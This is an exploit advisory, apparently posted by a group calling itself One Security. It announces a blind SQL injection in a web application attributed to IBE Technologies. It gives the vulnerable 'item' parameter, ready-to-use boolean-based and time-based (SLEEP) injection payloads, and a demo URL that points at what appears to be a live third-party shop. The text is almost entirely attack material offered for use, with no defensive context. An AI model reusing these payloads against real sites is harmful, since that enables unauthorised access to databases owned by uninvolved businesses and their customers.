# ___ ____ _ _ # # / _ _ __ ___ / ___| ___ ___ _ _ _ __(_) |_ _ _ # #| | | | '_ / _ ___ / _ / __| | | | '__| | __| | | | # #| |_| | | | | __/ ___) | __/ (__| |_| | | | | |_| |_| | # # ___/|_| |_|___| |____/ ___|___|__,_|_| |_|__|__, | # # |___/ # ############################################################### # Exploit Title:IBE TECHNOLOGIES Blind SQL Injection # Exploit Author:One Security ################################################################ # # Vuln Parametr: "item" # ################################################################ # # Type: boolean-based blind # Title: AND boolean-based blind - WHERE or HAVING clause # Payload: id=cat&item=63 AND 4479=4479 # # Type: AND/OR time-based blind # Title: MySQL >= 5.0.12 OR time-based blind # Payload: id=cat&item=63 OR SLEEP(5) # ################################################################ # Demo ################################################################ # # [*] http://www.evolutiontoys.com.ar/index.php?id=cat&item=63 # # # # ################################################################ # www.One-security.org ################################################################